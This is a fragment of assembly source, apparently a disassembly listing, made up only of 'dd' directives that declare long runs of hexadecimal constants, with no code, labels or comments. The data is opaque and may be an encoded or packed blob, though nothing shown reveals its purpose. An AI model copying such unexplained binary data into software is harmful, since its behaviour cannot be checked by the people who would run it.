		dd 0A04EB45Ch, 0B0A5494h, 0C6837603h, 47C25A02h, 0C428ACAFh
		dd 72296306h, 2C2500B0h, 6F848FD6h, 0B0053C6Bh,	37BF920Fh
		dd 47F6DC41h, 305C8FD2h, 77A57B80h, 58990379h, 365B26B3h
		dd 24AF88A1h, 0C600119Ch, 490EB2A9h, 4EFC038h, 0D36CB79Fh
		dd 1BA882B9h, 0E5BB7521h, 9D7020h, 74889E43h, 125CD550h
		dd 580A0098h, 0A45ED68Ah, 0C0401E9Fh, 0BE4A852Ah, 0F596095Fh
		dd 1430941Bh, 26000F09h, 11C9F6E0h, 4CA3855Eh, 0A009C21h
		dd 9FA02961h, 5D001A88h, 9B71242Dh, 1F05BAC5h, 0DE47B8E0h
		dd 3CF1C115h, 0CF6996CEh, 104AF907h, 740F570h, 6ECC56EFh
		dd 50E0185Ch, 0C365D0Eh, 0F51A1F03h, 0F39A6C46h, 0B3F3FBh
		dd 19AF87B9h, 0C8200CD6h, 0A515200h, 8FB84FE2h,	57EC002Eh
		dd 72471506h, 0FC00CFF2h, 205D21Bh, 0CB18Bh, 7E864560h
		dd 6AF23AE9h, 0D07FF725h, 5BB8038Fh, 40A6A4CAh,	0AA1CA0B8h
		dd 87C11239h, 0DD738E4Fh, 80E731C3h, 47730D2h, 60922517h
		dd 0F791C062h, 0D4005004h, 0B2DE8414h, 735178A2h, 0F8BB1287h
		dd 111C4077h, 293DEA0Bh, 649EA500h, 9933BA98h, 0A91F0014h
		dd 0E7D7F69Ah, 0E04C2A3Fh
		dd 0F6600A8h, 0B75EC0DBh, 0D4D30063h, 0F1BF5288h, 0A10015AEh
		dd 47F99470h, 72CC5Eh, 0BC34221Eh, 732EB38h, 5478CE07h
		dd 58401FE9h, 2CD7F4A1h, 365ACh, 8639F9D3h, 0E60E6893h
		dd 404802F0h, 0DD960161h, 92F0FBh, 7C064F4Ah, 908C3911h
		dd 0D459F4F6h, 287E0B10h, 0B65400A3h, 5868560Eh, 84243886h
		dd 0D95B00CCh, 6B47842h, 851DE81Ch, 522AF8C3h, 0F94121CCh
		dd 0ED849106h, 6A0A1D39h, 668B0B47h, 0B438FC20h, 157AD8CAh
		dd 0F6381FF0h, 822C4C43h, 0C5723D6Ah, 4771000Ch, 0F92BBF4Ah
		dd 0D297090Eh, 89C66055h, 196EA8D0h, 613474B3h,	0A74BD8FBh
		dd 33808565h, 0E83544C0h, 9470F7E9h, 80634893h,	67043E09h
		dd 1400B429h, 36698184h, 7CCD4E5h, 8009C93h, 8522A562h
		dd 0DB3F3FE0h, 0E57CE8ACh, 8920305Eh, 980038F4h, 22B33E6Dh
		dd 12A6BDE4h, 2CA8BE6Bh, 3C1E21C8h, 4302EAD5h, 18AEE07h
		dd 2C35B5h, 1204AB3Eh, 0DFAECEh, 36EBD2C4h, 102CA646h
		dd 3D514C15h, 10502712h, 960AE900h, 53DEB5EBh, 3B893038h
		dd 0BF8D8E6Ch, 9D087700h, 0AC1D09B1h, 0C0C958CEh, 13577F0Ch
		dd 97F6D310h, 0E174524Ch, 6832E157h, 0DCDF600h,	6B8D37AAh
		dd 0C809CC7Ch, 25EB2B58h, 40CDB510h, 70D4BAF1h,	0F05B02EEh
		dd 0CD532CA0h, 0F1FCCCE8h, 0DB86B118h, 730C5F11h, 0A5A3067Dh
		dd 58193CC0h, 8BCC554Dh, 0BE9A8089h, 1683AAh, 0D121515Dh
		dd 0B395ADA3h, 0D2B72300h, 649CDC88h, 0C490E1h,	24F5472Ch
		dd 3E48688Bh, 0D60082F6h, 9F224FB6h, 0EE06FD35h, 590D26DAh
		dd 5FC80051h, 0F9FACF4Bh, 0EBB7AC1Fh, 0CEAB5600h, 73756FE3h
		dd 0B6DE0083h, 655FF85h, 3C73D7D6h, 0CD82C9h, 0F61C0EFCh
		dd 701E160Dh, 628C05C9h, 0E9A842AAh, 58407A7Bh,	1063040Bh
		dd 7D4EB58h, 3A2F8729h,	0BC483089h, 8C01D3AFh, 0A59A8EF4h
		dd 3FEC4A10h, 0C3410064h, 6730CD5Bh, 5007512h, 0C82F4EC9h
		dd 1F5EA5FAh, 35F03Ch, 91FF7984h, 0AA30C4FEh, 7DDE3848h
		dd 0CF7E00AEh, 81C0DAA4h, 5B00B995h, 17C9D33Ch,	1093705h
		dd 210ED78Bh, 20A08354h, 9F0E647Ch, 5F85ACh, 56BEE5CCh
		dd 14D10078h, 73E6DC83h, 3C007C6Fh, 1EE88293h, 0F0D4F01h
		dd 2AFEF744h, 0FF102D40h, 0B30021EDh, 472BB8C6h, 125C65B5h
		dd 8A2C0D13h, 4E580010h, 6025DD46h, 7877B0h, 7226B434h
		dd 57982F43h, 45749C00h, 0F82C4416h, 535A008Eh,	945BD1F4h
		dd 9226131Ch, 64008F98h, 21DC82AEh, 60B062h, 4BF89E84h
		dd 7618EF3Fh, 58394003h, 0A88BADD1h, 0C0731331h, 2D2F7AADh
		dd 8800A52Bh, 0CFFE2398h, 408D1Eh, 4C53CAD6h, 20E51C64h
		dd 0B520638h, 5FA37Eh, 0D1CBC74Dh, 69270056h, 90CE6659h
		dd 0F43AC6E4h, 0E029008Bh, 0BD602414h, 84BF003Ch, 3D689112h
		dd 641F9074h, 0E9806B55h, 0F97C4EBCh, 45FF0043h, 0C5888F9Fh
		dd 0F60CA0C4h, 4C1B8755h, 50D600EDh, 2EACA902h,	33009599h
		dd 60D9FC0Dh, 3D163Ch, 40ED4E7Dh, 6B37E994h, 0C8DE7800h
		dd 0E8FA6004h, 3342007Ch, 4F6EAB5Ah, 2F01E73Ch,	4AD05D10h
		dd 7760B604h, 0EF61481Bh, 4BF3007Fh, 0C1634596h, 93319BD6h
		dd 3E3BF89Eh, 7455C8h, 0F2BA0644h, 50ACAFDEh, 0D4B20400h
		dd 7BBEF3B3h, 2728902Bh, 348034CCh, 0A65CEF1Ah,	4C700141h
		dd 78F4F37Eh, 0AA9A00F4h, 0E939153Eh, 0AE029CE4h, 8563C34Dh
		dd 0D93C4177h, 1256D930h, 0EA9DF3h, 54CA7B28h, 0A240F30h
		dd 1201A7E8h, 2F9CE61Ch, 7756E8h, 7DA28333h, 0C15B53C2h
		dd 81654B1Fh, 0FAA3C3C0h, 0FAA4A8Bh, 1FE0F525h,	0A6024EEh
		dd 4797DC64h, 0DA2F0203h, 0E8BD7280h, 26F02B0Dh, 87C4A61Bh
		dd 70823290h, 0E1663BF1h, 4407517Ah, 0FA7F9DA5h, 714B00FEh
		dd 9E9717h, 635C93ECh, 0A539450Dh, 0BFCD2D00h, 524138Eh
		dd 4203CD9h, 0AFEF5300h, 2132DB8Dh, 584C274Eh, 6BC844h
		dd 0FFC75370h, 0C6EBAC7Ch, 0CB127300h, 0AD7ED442h, 69F700A2h
		dd 0D1F5A620h, 0A513407Fh, 5B0534BEh, 0E387F492h, 77801294h
		dd 0C59C48h, 744E4658h,	0D9AD5380h, 253CEBA0h, 0AD03400h
		dd 0B6E7F98h, 0F3EEA060h, 8C370086h, 2452037Ch,	993D74ABh
		dd 9064247Ah, 35B4EF00h, 1F898215h, 8E222C19h, 0F1A0B2F5h
		dd 67E22BDFh, 0F3C7FD12h, 96F0000h, 9A96916Bh, 0DCF90034h
		dd 0AD946C2Eh, 1870D842h, 0C35C3106h, 360DE7Ch,	4BA28E4Ch
		dd 6983EED7h, 0E1E3DCE0h, 7423ED2Ch, 8A00AB13h,	0B0EC13CBh
		dd 0CF260050h, 2C76BF4Ch, 58004F82h, 0A462C47Fh, 5CDA66Ch
		dd 12B96339h, 356490C7h, 850F9C5Fh, 0AE0737BDh,	620036EDh
		dd 0C888AEA4h, 170B001Bh, 0F25106E1h, 0FE00CC5Ch, 0C9AA04D2h
		dd 3058F35Ah, 9D228E6Ch, 710F123Eh, 77476FC5h, 3C6A9303h
		dd 7258E826h, 0B99300BFh, 0AC71F68Dh, 28926841h, 8FFA5E2Dh
		dd 0F4640104h, 4D03148h, 0D38D1849h, 0D46218E8h, 8365978h
		dd 182811E1h, 0C9198680h, 380079CDh, 0DCAA36E9h, 846A4Dh
		dd 4F871DF2h, 0BA847AEh, 0F4D24Ch, 354537F6h, 0C0E5387Fh
		dd 0EC924979h, 333E9811h, 0BC8B0ED8h, 686BACB9h, 3FAC2847h
		dd 6F160558h, 0C0125F98h, 9E692268h, 8F7CB800h,	7FFEAE7Eh
		dd 7764129Bh, 1D811215h, 142E4004h, 0B9A187EAh,	417C060Fh
		dd 6551D846h, 6A39039Ch, 0CB05F81Bh, 0AAAF2C0h,	37C85516h
		dd 732DF8D1h, 0E6A13410h, 0E5107B00h, 0C15F7232h, 90E70014h
		dd 0DDF43662h, 350316FFh, 606C138Dh, 2D1FC0D7h,	1CFE26h
		dd 78E95EEAh, 0AAF1D5FDh, 0EF495D00h, 865CB4FCh, 4A940466h
		dd 52FA899Eh, 8098710Eh, 6CF3481Eh, 37EFEh, 133B568Dh
		dd 0D7EB9CC5h, 97269667h, 59A4BB20h, 2A22FEB9h,	35CA995h
		dd 2C26B33Fh, 359821C0h, 50024CA4h, 6EE61B33h, 3E7484D8h
		dd 0EF86F4Ah, 8B40900Dh, 0FBC27E34h, 8022C100h,	0D0490B93h
		dd 7DE77A6Bh, 15440DB4h, 20506D14h, 8A008B7Ah, 9D1671E4h
		dd 0A402274h, 625D6B3Ch, 0A21F0EDAh, 379FC5A0h,	0C300A558h
		dd 8A099EDDh, 0E3D8768h, 49BBF9EAh, 71006C2Fh, 0D0B2EE95h
		dd 33FEB900h, 0B1DF5947h, 78820727h, 276E2137h,	0DE3B302Dh
		dd 6200D619h, 7D4A8190h, 0EB4192h, 0DA9B1E57h, 4AC786Ah
		dd 2D001CFCh, 1D856F49h, 3E5F2935h, 0EA0080CAh,	0B5CCC046h
		dd 3E00A550h, 0E3A9A29Ch, 0E2E101h, 479B1857h, 0B5375F3Fh
		dd 6BFE9000h, 0A0FD0F3Bh, 1CF0905Ch, 8078191Bh,	0DCD6238Bh
		dd 0EC008575h, 6D3553Ah, 0E418F0h, 74E1B4DFh, 23A85C78h
		dd 0D5008F71h, 52BBF475h, 0FD50E4h, 364013D1h, 18768782h
		dd 0B3000798h, 7F4D2BBEh, 266A5Bh, 0D1FA0CADh, 6984F03Ah
		dd 0CF8F3Ch, 91D62D9Ch,	1D398A2h, 863DC860h, 6003977Fh
		dd 3901BC97h, 93F2D4E4h, 30CCA85Bh, 388BEEE6h, 0CB80A2A0h
		dd 84CC0744h, 0EC00124Fh, 7B59251Dh, 1E824A27h,	89F37C66h
		dd 16007088h, 49ED8C86h, 0C7F62C0Eh, 32BDA009h,	0A06017C1h
		dd 7B2488h, 2A140DF9h, 0E170FF8Eh, 5B0420FDh, 26897600h
		dd 81A50468h, 7B6C00C5h, 0D7F7C94h, 613CD04Dh, 0FABC805Ah
		dd 9CB9E458h, 9F9A0087h, 0FEEFEBD7h, 84005606h,	3581AEB2h
		dd 5FD43Eh, 0AD4211CDh,	4D433259h, 0E3833B00h, 5B9F2515h
		dd 0BF0507A1h, 20441156h, 66B0A347h, 806BD639h,	55086C93h
		dd 5258A8h, 2425C257h, 356EB0ADh, 88F56702h, 40944E2Fh
		dd 73A1DE7h, 323621D8h
		dd 1E07C08Ch, 760F4F5Bh, 0FCF8B7E5h, 25E7C1C0h,	1DC975EBh
		dd 801DA174h, 0B24A495Eh, 723E303Fh, 610580D1h,	1D0FAFD6h
		dd 36C40B60h, 4780BE94h, 3C86DEE0h, 2E17570Eh, 259161F6h
		dd 80A80315h, 956B005Ch, 81BFD36Dh, 84A04CC8h, 5E0059E6h
		dd 9631165Fh, 0D61D25h,	4DC01BADh, 0FD57F45h, 98096DFh
		dd 0B57D2EA4h, 4E7F6Dh,	9EFB909Ch, 4AFC83CEh, 0F4A9311Dh
		dd 0EC276BC0h, 3F7ED51h, 9643A0A4h, 2FB806B4h, 0CF1F9124h
		dd 80BE2836h, 0BF9817CBh, 5608B2h, 0EB86B439h, 87CC7DE1h
		dd 0A4C97B03h, 49F1ACDh, 1C6EA8D1h, 86C0AAC5h, 57FBB8h
		dd 0C585CE8h, 33660137h, 65E32700h, 39CBF13Ah, 3DB718A8h
		dd 4362F092h, 0E35BBF00h, 54366120h, 0CB850365h, 0D725E6A7h
		dd 731DD190h, 82871300h, 85FE89C8h, 2A39005Eh, 63E3155Dh
		dd 0EB198474h, 629035C2h, 6836FCh, 675D1BA0h, 0A949308Eh
		dd 8AE6CF7Ah, 2E561C00h, 0EBA0DAB6h, 21D00C3h, 0C239A1C1h
		dd 0DD03E3BCh, 0CD7266Ch, 149DB061h, 99F600FEh,	1824D22Bh
		dd 5600D86Ah, 27022FDEh, 0BAB06Fh, 42214F39h, 9CEC19CBh
		dd 0B53F100h, 48D084DFh, 7E4A1FD9h, 8FAA80BEh, 0F0D8B6A5h
		dd 0CB43121Ch, 17156040h, 3D9413h, 0FBB9364Dh, 0E668695Dh
		dd 6100FE7Dh, 32DDDC35h, 0B68018h, 2C3842CEh, 17EB5EFBh
		dd 8530C901h, 847B75D9h, 6D133480h, 7C6D7DFh, 5EC2048h
		dd 413257C0h, 583EEE00h, 587F9718h, 451EA96Ch, 830303E4h
		dd 4790D346h, 277680AFh, 920095FCh, 11C4B39Ch, 857689h
		dd 0FA307A77h, 0EDDDA33Eh, 0CB388618h, 767FE6BAh, 0FC0E1F18h
		dd 0E9CC40AEh, 9805A9A5h, 18628726h, 0FA9AF400h, 0CFD01Ah
		dd 8170A253h, 2934A5E8h, 757A6400h, 4E17BEC5h, 0DD100054h
		dd 0A12B5A2Ah, 0A4508458h, 8B006EB2h, 5278CB64h, 6A9328Fh
		dd 0FCB07E45h, 6A00AE4Eh, 0EAEEF98Ah, 1FD70Ch, 1171D91Ah
		dd 0B1E0C0AEh, 80B87326h, 78EC6700h, 242EA9D3h,	1CF7C8h
		dd 0B6982D3Dh, 451FEA5Ch, 41C0207Ch, 0F1F49C0h,	600E0384h
		dd 0C890EF09h, 4BF3EBD8h, 3385078h, 8CE50032h, 24337DFAh
		dd 65F8000Eh, 8E731148h, 29004DD8h, 6875B50Ch, 2BFB92h
		dd 52A0F559h, 0B1E2E984h, 43D9F800h, 4D35C47Ch,	47F90020h
		dd 0C377C88Eh, 8FF03C1Fh, 0B2486860h, 0C0FFD6B1h, 0E3454021h
		dd 743EEC11h, 15C9D92h,	0F04802C0h, 258FE6Bh, 0F8D303D5h
		dd 90480672h, 860347B3h, 5A7E4994h, 0D2D1D0E7h,	8223001Ch
		dd 0E33EA943h, 747A7B5Bh, 0A673A70Fh, 0C0DCAE68h, 639CC1A8h
		dd 4FECBh, 326ABB4Ch, 0A29EAAC8h, 8EA35504h, 0D4800A56h
		dd 1D1C9A19h, 0E4F29B5Ah, 8DF900D6h, 10DE46B2h,	0B804A900h
		dd 0A49AC950h, 5B5E0384h, 0D0B4ABF2h, 60788AB0h, 0D639B5A0h
		dd 693CEB71h, 0F3CD0994h, 0E51820E0h, 250141h, 0D9339F8h
		dd 53926412h, 3557E901h, 0EFE091F0h, 976941C2h,	0E64360h
		dd 716DB0D1h, 0F8A25736h, 0EFED6C00h, 4C886963h, 7B34CB8h
		dd 19220100h, 8F3D0858h, 2BAC4007h, 0D49182EDh,	0AE40DE3Fh
		dd 24FF9Dh, 0DAC9513Bh,	781E22Fh, 0B8753400h, 62F6E860h
		dd 0ED2C136Bh, 0DF800078h, 4A17C237h, 7B2BF304h, 0A0D27728h
		dd 0BA8055A7h, 66372D15h, 0A6DD8201h, 28F98EECh, 982080FCh
		dd 0AC9F00FFh, 9991A4A2h, 24F0A887h, 0D7AA620Eh, 907C6063h
		dd 0B8C30122h, 554E6C6h, 0B8CE7768h, 4DF40093h,	98AEB182h
		dd 0E0814400h, 0A6F131ACh, 1A4F00BCh, 0B6A803C1h, 4A002A4Bh
		dd 4E50492Ch, 79E25913h, 1C9209h, 935D80C9h, 0B22F11F1h
		dd 0FCEF6A3Dh, 0BC1E1301h, 196D0AE1h, 0F8261080h, 0C071A990h
		dd 2D5C8400h, 824B7345h, 36A8010Dh, 0F6650695h,	40E5E17Dh
		dd 2A72D084h, 4E184F00h, 0C4DF9538h, 96881F78h,	5CEE0013h
		dd 1D63ACBAh, 0ECB44500h, 7E0D8A5Ah, 7385247Dh,	13460103h
		dd 40CBE217h, 5C36AB58h, 9EF03C98h, 8A295B00h, 2E986604h
		dd 14D35099h, 5AC40033h, 4D50D65Fh, 0B7008609h,	9A704644h
		dd 0A6F5B6h, 38B8BFCAh,	4D609BCFh, 3D2F6200h, 0EB5618D9h
		dd 4EF9021Ah, 4B2B3845h, 48E2A6E0h, 0F551D500h,	28F17702h
		dd 0F07781h, 273B837Fh,	247DC275h, 2C9162Eh, 61762302h
		dd 9FCE09Fh, 1EFE00A9h,	0F772F587h, 600056E2h, 915DE58Ch
		dd 0BEB9C31h, 0E77B0FA2h, 1B013B81h, 0E8C8DF28h, 0A9004B3Dh
		dd 812E16F6h, 5944CCh, 86A42BBFh, 643B1085h, 0FFC22900h
		dd 49438DDh, 31E93D12h,	0B10E97h, 8C29BC28h, 6B0085F0h
		dd 0D1E2D7A7h, 7D85D75h, 17E601C3h, 1D207005h, 0B7003D4Dh
		dd 54124C99h, 2E6E88h, 0FFAD27CEh, 3B06D551h, 4E454F07h
		dd 1557DD2Ch, 4D1F9CC1h, 7697C840h, 68E91290h, 0D600020Ch
		dd 0C8A196AAh, 506653FDh, 0C969B7DCh, 7A393C01h, 2B16B809h
		dd 0C06425E0h, 61F62820h, 0E1F9CFDCh, 322EDCCAh, 0C493860h
		dd 1809B33h, 5F87615h, 0D1C6DDB5h, 55218039h, 3803588Ah
		dd 0FAF222h, 0BE644F7Eh, 56DD45BDh, 88F393F2h, 16BB70h
		dd 1508EF88h, 492CE0FBh, 0BE1C34h, 35242D9Eh, 2CE1870h
		dd 0D9FA71E6h, 6840490Dh, 0F631615Eh, 0E48059FEh, 462E8400h
		dd 406FC26h, 0F054280h,	180AC4E0h, 9956712h, 20C02F83h
		dd 920F5EA2h, 687C060Bh, 0C931C4D7h, 1275EE01h,	6F060C44h
		dd 0F40E2C32h, 8C006195h, 65E1DD3Bh, 4499B400h,	0CF56CC7Fh
		dd 0C86F417h, 0E21F2AE9h, 0D51806C9h, 33D94599h, 1D19C0DFh
		dd 0A4AF14F2h, 23EB1500h, 0AE53167Ch, 1E90FCh, 6B379943h
		dd 0CFBD6A3h, 8A931A3Bh, 74DD50E6h, 2D36215Eh, 0ABC92F81h
		dd 4730F934h, 0BCDA002Ah, 62E583B5h, 0D7752171h, 7484539h
		dd 4FDCFEC2h, 0E1CEC7C0h, 1E1803EDh, 0A22E131Dh, 76FB7DA8h
		dd 0E31FA40Fh, 5002D331h, 407C0545h, 1C8E9328h,	0CBDF4E12h
		dd 82001F4Fh, 13453CCBh, 3F380148h, 0AB4705BEh,	202CE4D5h
		dd 153B46EBh, 9CE035h, 0EBB2BA83h, 0B8DC6F64h, 0DDB900D4h
		dd 2AB70F68h, 9200EAA6h, 471CAED7h, 0F357C9C6h,	18D33430h
		dd 60326973h, 0D8799E86h, 55CE1200h, 333DCD0Eh,	0E50838A5h
		dd 0B4CA0501h, 2365AAF6h, 9B47017Ch, 0BD961354h, 0ECA84D0Ch
		dd 58009F09h, 87CC8427h, 2AE39552h, 0C4C03A92h,	916C9C0h
		dd 7D00F54Eh, 794766C0h, 6D1F3FEEh, 880635F1h, 0A350F5E7h
		dd 3060DCBCh, 1529859Bh, 4711408Eh, 5887FE07h, 0CD87CB3Eh
		dd 7B69F090h, 3A26C759h, 1C29C5E5h, 7018B04h, 270EEE20h
		dd 13C2A810h, 92C51C4h,	2A2C0053h, 7AD35801h, 91A660B6h
		dd 0C364742Ch, 0D9CF3630h, 0DA26D6h, 72C048E7h,	68D8614Ah
		dd 21D53830h, 0D7367Bh,	347507CFh, 54D8C90Eh, 8338113Ch
		dd 165C7127h, 7FBBC8AFh, 0D9EF0009h, 0E0B1DE26h, 383DB97Dh
		dd 90930996h, 0F698E0FEh, 0CDD7009Ah, 5892680Dh, 44141ED0h
		dd 18E0010Fh, 2779B83Dh, 2241002Ah, 6C64993Ch, 9D54DBE3h
		dd 5D788280h, 0C27460Eh, 288373E9h, 0A0F8DBEEh,	0E0CF19h
		dd 511302EBh, 70F00E95h, 0DDB7C700h, 6194D5C9h,	0EBE9183Eh
		dd 0D1893816h, 7C741A75h, 0D27A0C05h, 5DC0632Bh, 1341431h
		dd 9543C58Ah, 40A618CBh, 2A4EE350h, 5C0FAD01h, 6D29263h
		dd 0B3CF8851h, 0E516F000h, 0F95AFD33h, 1989F0F7h, 986A06D1h
		dd 8539932h, 0D8216360h, 7C558B7Fh, 12A73FAFh, 8805F580h
		dd 0D7E7B593h, 5BCFD026h
		dd 30B8510Ah, 4D6F2174h, 5E9503BDh, 13FE92h, 9FD2A539h
		dd 5B1E327Ch, 20288175h, 0E424D1F0h, 5811C0Ch, 0DF7AE130h
		dd 8C912020h, 9D72404h,	5961F049h, 0AADD0019h, 0CD750FDAh
		dd 0FEE38DC3h, 0B1982212h, 0C0A019DEh, 0FC5216F1h, 89530164h
		dd 2AC2D124h, 0D988210Ch, 0E97301B6h, 90CFD40h,	91EC59F1h
		dd 2981C8A0h, 0EE4910DAh, 50060C62h, 782E21CAh,	790077E1h
		dd 3EDE870Eh, 0FE590C18h, 7D915B4Dh, 73FA2512h,	77607801h
		dd 0B0634C2Bh, 7F3023A2h, 271001Bh, 0DB59F75Ah,	4124A9DDh
		dd 4500948Eh, 94563595h, 0E9EA004Fh, 3DF1089h, 4270869Dh
		dd 0CE79B80Fh, 0A519A075h, 8EC62Fh, 1132708Ch, 0CD45479Ch
		dd 95C2DB00h, 5E99F94Fh, 5758C082h, 1D3E8C17h, 7BF88B02h
		dd 0C8867021h, 22D3A4h,	0BADD0882h, 84C1E50Ch, 0CB887500h
		dd 2FF12B33h, 9A550004h, 1DC27BBDh, 0F800B5B3h,	36716179h
		dd 0E8DE5A99h, 2472EA95h, 0DC78DA21h, 0DF9EF40Eh, 2308C065h
		dd 1ECD41Ch, 0DC826626h, 645214EDh, 4E058D60h, 183CB097h
		dd 0BF6F407h, 0D09F5E50h, 0A7A626D6h, 0DD498230h, 9C605389h
		dd 0C600C9F9h, 933E57CBh, 0B8045431h, 4A1620C4h, 8AC86238h
		dd 20A446E6h, 4E1D8D71h, 19648430h, 0A3EAE530h,	0BA8A500h
		dd 0C2B5BD46h, 6FE0EE8h, 0D4E096D8h, 8E2B0A16h,	0CD6FC63Ah
		dd 18520074h, 0A95F50B8h, 583E01C2h, 811D360Dh,	8ECEE87Eh
		dd 0C3E96E0Dh, 70A13114h, 0DAF87D04h, 71A005EDh, 87351326h
		dd 1637C4D4h, 36105C3Ah, 3AA5D42Dh, 0E9BB9DE4h,	0B7A06DC0h
		dd 191619Fh, 0BC86B43Fh, 0EFBEA553h, 0BCE8FCD2h, 6B00C20Dh
		dd 52F0C3A8h, 954E2EDh,	0A9B211A6h, 40B1C900h, 3E264CACh
		dd 1412AD8Fh, 0E4C058D4h, 30E2E848h, 80A916D1h,	0FF1F7FCDh
		dd 718C5E83h, 0B31910h,	8A3959A9h, 7B7CB01Ch, 0C737FC00h
		dd 860F149h, 67030269h,	44F7C68Dh, 0D62CB872h, 0CC40A4E0h
		dd 4190506h, 131BC971h,	0B32CB43Dh, 0E44EC000h,	924DA9BDh
		dd 70370040h, 0FBCE28D8h, 9AF46532h, 0AA452001h, 0F0B856DFh
		dd 65F19C62h, 560C62h, 0D72AB281h, 6D1DA32Fh, 0DD5DD500h
		dd 0C685D0F9h, 0B4E4A087h, 61E82CF6h, 9B196170h, 0C786F432h
		dd 30EB8085h, 4B9C9F9Bh, 37FE7E02h, 98DCF515h, 8446BCh
		dd 9E6DA691h, 71305759h, 3D245F49h, 2DE401FCh, 781D3AE1h
		dd 0E54C2C0h, 1549AEB9h, 9C5E2760h, 0DC88126Eh,	0F9460340h
		dd 0FC702ABFh, 9EE30498h, 5F2B1D44h, 24CC4071h,	121ACD6Ch
		dd 0C3DCFA0Ah, 0E063E82Fh, 1C8EF8C5h, 207839A7h, 5E342B80h
		dd 0CCEAA12Dh, 0DD947509h, 8641D50h, 48602E9Eh,	0A444727Bh
		dd 2B6F33D8h, 0A90E2A1h, 3A764FA4h, 46237700h, 6F0394F2h
		dd 0CA0400B6h, 337A66CEh, 840EA0ABh, 0E5B96A24h, 508155C8h
		dd 2B01059Dh, 15C83915h, 0F451E9h, 3198F26Fh, 3E325AF0h
		dd 34BA1846h, 4320C0F4h, 0E93E903Ch, 9C00284Ah,	4B213B3h
		dd 5F1F03CDh, 2BF39E79h, 97472DA0h, 33E85673h, 6869C560h
		dd 10D8EA5h, 0B4CFDA03h, 0C33D45F0h, 3849939Ah,	2F744071h
		dd 0B4013CC8h, 19A4A235h, 25702339h, 748D05BDh,	0F3D1793h
		dd 0A120B22Ch, 0D3904791h, 0CD024472h, 0D0792E31h, 40DC2852h
		dd 0E6E912F7h, 33CC0D0Bh, 0F4C80087h, 4034447h,	5E173E2Eh
		dd 318C8CFEh, 0D125897Ch, 8C1652h, 0A48B7CD7h, 9623E1D1h
		dd 69136E30h, 0E5C88B7h, 7AC4AFB8h, 14055F8Fh, 0DB40C551h
		dd 0E69D8084h, 48AC7Eh,	0B1C38B98h, 3E4ECC2Bh, 84129496h
		dd 9CB584D4h, 0E2AF3C60h, 455A00FBh, 6148CB24h,	0CD0439F9h
		dd 311CB1C1h, 12E9B081h, 2805F180h, 0E5187175h,	86E7C00h
		dd 0DCF84819h, 0DE4601A1h, 0B1FD5250h, 0B7318061h, 0D6F8D396h
		dd 16C131Dh, 0BC900C82h, 690761D9h, 0CC46B84Ah,	0DA26B5A1h
		dd 94FE55CCh, 806D9D90h, 0B77202A1h, 3839D1CEh,	0EF8B833Ch
		dd 2A64881Fh, 500550h, 0F1464E5Fh, 0D0C1F781h, 7C486EEEh
		dd 5C4A06D4h, 348799Ch,	0F79FD506h, 390169B1h, 50FF81E1h
		dd 1044BBE8h, 0A1D40C83h, 82C52E04h, 344408A9h,	181C9228h
		dd 0EBCF8920h, 0D40107DCh, 990E08E3h, 42B14B0h,	5447E94Eh
		dd 0E8E14F95h, 59BB9147h, 90EECE93h, 0CDD2B81Ch, 40A7511Fh
		dd 664B6F00h, 32F985Bh,	9C817C7Dh, 93F16377h, 50DC21E1h
		dd 78D1E308h, 0F25291C0h, 3A0FB695h, 68309605h,	9A7B4C68h
		dd 9344449h, 0A249DAE3h, 40712A94h, 4F75572h, 0DF7B3FB7h
		dd 4EDCC0EAh, 28B01D2Ch, 52DCDC54h, 78633101h, 0F1A582A2h
		dd 5904D8h, 3DACA335h, 3A778A3Ch, 0B34ED49h, 18D49650h
		dd 4FA7154h, 0B1FE35B8h, 0E7949207h, 75F7BC98h,	14CC6453h
		dd 46DC965Eh, 2D73AC8h,	552964A6h, 3BB0800Fh, 1171B28h
		dd 82ED54F5h, 0D071B0BDh, 220245CAh, 1512691h, 0E28043D1h
		dd 0D5CF0019h, 1301BFF6h, 873EC656h, 1BC4CA59h,	3C880F54h
		dd 8B4502C5h, 0F108C2EAh, 4E11AC20h, 5FAA00BFh,	8CBBA91Fh
		dd 5506B1D0h, 9B61B80Dh, 0A3E100E9h, 64412F95h,	7A001B43h
		dd 71246EABh, 6A55586Fh, 0E102934h, 9CE01999h, 0DDD712D3h
		dd 0E41A0E2Ah, 24A39700h, 0E13E4629h, 0C78818D6h, 73F238E6h
		dd 0FF846401h, 9EAAA892h, 73542860h, 0DFC13A13h, 0A993BB89h
		dd 20D58F07h, 7A5AFAFCh, 473FA09Ah, 4EA8805Ch, 544FDCFBh
		dd 0EE4409F2h, 4F01C7ADh, 413C4D47h, 0E2FBFD24h, 0F7040448h
		dd 5EA3570Ah, 0F98F1845h, 0E7D2C0CBh, 605A90B5h, 790BC015h
		dd 7DE060ECh, 7100DDE0h, 9E81C749h, 572363h, 681F610Dh
		dd 0B8097311h, 0F200997Dh, 6C313BFEh, 35E7634h,	0A194DFC8h
		dd 80791B5Dh, 0FCFEB8C4h, 0D35F140h, 9CA26FADh,	108228A9h
		dd 6163FB94h, 0CB62F107h, 0D4811D74h, 0C6E2500Ch, 7A133A3Ch
		dd 0FB81E580h, 9718B842h, 43019B7Eh, 0E97CDF4Ch, 0B700217Dh
		dd 0B07C72BCh, 0E34A0D06h, 746195DBh, 0CB931584h, 0F926C485h
		dd 66876FC0h, 12F082C2h, 277BC40h, 0BA9F0D09h, 0B8F801EEh
		dd 74D083F6h, 0B6C33466h, 93A00598h, 4DBCB46Bh,	7EC91963h
		dd 80F5F39Dh, 1B26CB8h,	229CE667h, 382D4D4Eh, 869300E8h
		dd 131B7999h, 0CFC60F4Fh, 10985285h, 0F9304489h, 83E6283Fh
		dd 5D7301EEh, 7BED47C8h, 0B718891Dh, 80FC67DBh,	0B76876F2h
		dd 61008F7Bh, 0CF8EB1ADh, 797738B8h, 45131326h,	0BB95070Bh
		dd 0C39C8599h, 5650A72Ch, 28338114h, 0E04530BAh, 4C46EF95h
		dd 1003864h, 0F5F2CC24h, 0C3021692h, 7312DE39h,	0E1288044h
		dd 0CA37E6EDh, 25C02E18h, 38ADF8C8h, 0A919E930h, 0AC3E1CCFh
		dd 0D09C1260h, 26040342h, 83911C45h, 9358829Dh,	83B0C16h
		dd 0FB4D0090h, 0CA06F5EBh, 0A8245528h, 4C91CC65h, 918F78C2h
		dd 8458647Ch, 79186023h, 9981C1B7h, 8418DC68h, 0D015420Eh
		dd 757CB10Bh, 2477B001h, 299C4156h, 57484198h, 77050F3Ah
		dd 1B7FEDDh, 5C7BD7A8h,	0DC98068h, 61A9F3E6h, 0C2EF8CAh
